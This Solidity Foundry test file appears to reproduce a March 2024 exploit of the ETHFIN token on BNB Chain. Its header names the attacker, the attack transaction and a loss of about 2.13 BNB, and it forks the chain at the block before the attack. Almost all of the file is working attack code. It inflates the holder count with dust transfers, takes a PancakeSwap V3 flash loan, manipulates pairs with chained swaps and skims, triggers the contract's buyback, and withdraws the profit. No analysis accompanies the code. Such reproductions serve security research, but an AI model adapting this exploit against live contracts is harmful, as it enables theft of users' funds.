src/test/2024-03/ETHFIN_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8// @KeyInfo - Total Lost : ~$1.24K (2.13 BNB)
9// Attacker : https://bscscan.com/address/0x52e38d496f8d712394d5ed55e4d4cdd21f1957de
10// Attack Contract : https://bscscan.com/address/0x11bfd986299bb0d5666536e361f312198e882642
11// Vulnerable Contract : https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba
12// Attack Tx : https://bscscan.com/tx/0xfe031685d84f3bae1785f5b2bd0ed480b87815c3f23ce6ced73b8573b7e367c6
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba#code
16 
17// @Analysis
18// Post-mortem :
19// Twitter Guy :
20// Hacking God :
21pragma solidity ^0.8.0;
22 
23interface IETHFIN {
24    function N_holders() external view returns (uint256);
25    function NextBuybackMemberCount() external view returns (uint256);
26    function transfer(address, uint256) external;
27}
28 
29interface IPancakePool {
30    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
31}
32 
33interface IETHFINToken {
34    function doBuyback() external returns (bool);
35}
36 
37contract ETHFIN is BaseTestWithBalanceLog {
38    address wbnbAddress = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
39    IWBNB wbnb = IWBNB(payable(wbnbAddress));
40 
41    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
42 
43    address router_address = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
44    Uni_Router_V2 router = Uni_Router_V2(payable(router_address));
45 
46    address ethfin = 0x17Bd2E09fA4585c15749F40bb32a6e3dB58522bA;
47    IERC20 ethfinToken = IERC20(ethfin);
48 
49    address pancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;
50 
51    address eftoken = 0xA964a6dab034A4b5985603f7e86a596c7e0eA96e;
52    IERC20 ef_token = IERC20(eftoken);
53 
54    address pancakeSwap = 0x2b73Ee230dB9d7ddB51B859a3B59Ce48eB5aB4D9; //ethfin-finsimp
55    address pancakeSwap2 = 0x168FDb7C2d4249485836595c8576D8f2D7c53a46; //ethfin-ethfin
56    address pancakeSwap3 = 0x3544DA62afB297b5cE9DA14845C89b96D376D98C; //ethfin-wbnb
57 
58    function setUp() external {
59        cheats.createSelectFork("bsc", 37_400_485 - 1);
60        deal(address(ethfinToken), address(this), 1500); // initial tokens
61    }
62 
63    function testExploit() external {
64        uint256 init = address(this).balance;
65        uint256 holders = IETHFIN(ethfin).N_holders();
66        uint256 next_buy_back_member = IETHFIN(ethfin).NextBuybackMemberCount();
67        uint160 base = 501;
68        // weird loop
69        while (holders <= next_buy_back_member) {
70            IETHFIN(ethfin).transfer(address(base), 1);
71            holders = IETHFIN(ethfin).N_holders();
72            base++;
73        }
74        IPancakePool(pancakeV3Pool).flash(
75            address(this),
76            0,
77            12_000_000_000_000_000_000,
78            abi.encode(0x000000000000000000000000172fcd41e0913e95784454622d1c3724f546f849)
79        );
80        uint256 after_attack = address(this).balance;
81        emit log_named_decimal_uint("Attacker BNB end exploited", after_attack - init, 18);
82    }
83 
84    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
85        wbnb.approve(router_address, type(uint256).max);
86        address[] memory path = new address[](2);
87        path[0] = wbnbAddress;
88        path[1] = eftoken;
89        uint256[] memory amounts = router.swapTokensForExactTokens(
90            543_357_312_592_081_354_942_659_827, 12_000_000_000_000_000_000, path, pancakeSwap, block.timestamp + 120
91        );
92        IPancakePair(pancakeSwap).skim(eftoken);
93 
94        uint256[] memory amounts2 = router.swapTokensForExactTokens(
95            10, wbnb.balanceOf(address(this)), path, pancakeSwap2, block.timestamp + 120
96        );
97        path[1] = ethfin;
98        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
99            wbnb.balanceOf(address(this)) - 1000, 0, path, pancakeSwap2, block.timestamp + 120
100        );
101        IPancakePair(pancakeSwap2).skim(address(this));
102 
103        bool status = IETHFINToken(ethfin).doBuyback();
104        require(status, "Buyback failed");
105 
106        path[1] = eftoken;
107        uint256[] memory amounts3 = router.swapTokensForExactTokens(
108            10, wbnb.balanceOf(address(this)), path, pancakeSwap2, block.timestamp + 120
109        );
110        uint256 ethfin_balance = ethfinToken.balanceOf(address(this));
111        IERC20(ethfin).transfer(pancakeSwap2, ethfin_balance);
112        IPancakePair(pancakeSwap2).skim(pancakeSwap3);
113 
114        address[] memory path2 = new address[](2);
115        path2[0] = ethfin;
116        path2[1] = wbnbAddress;
117        uint256[] memory amounts_out = router.getAmountsOut(ethfin_balance, path2);
118        IPancakePair(pancakeSwap3).swap(0, amounts_out[1], address(this), "");
119 
120        wbnb.transfer(pancakeV3Pool, 12_001_200_000_000_000_000);
121        wbnb.withdraw(wbnb.balanceOf(address(this)));
122    }
123 
124    fallback() external payable {}
125}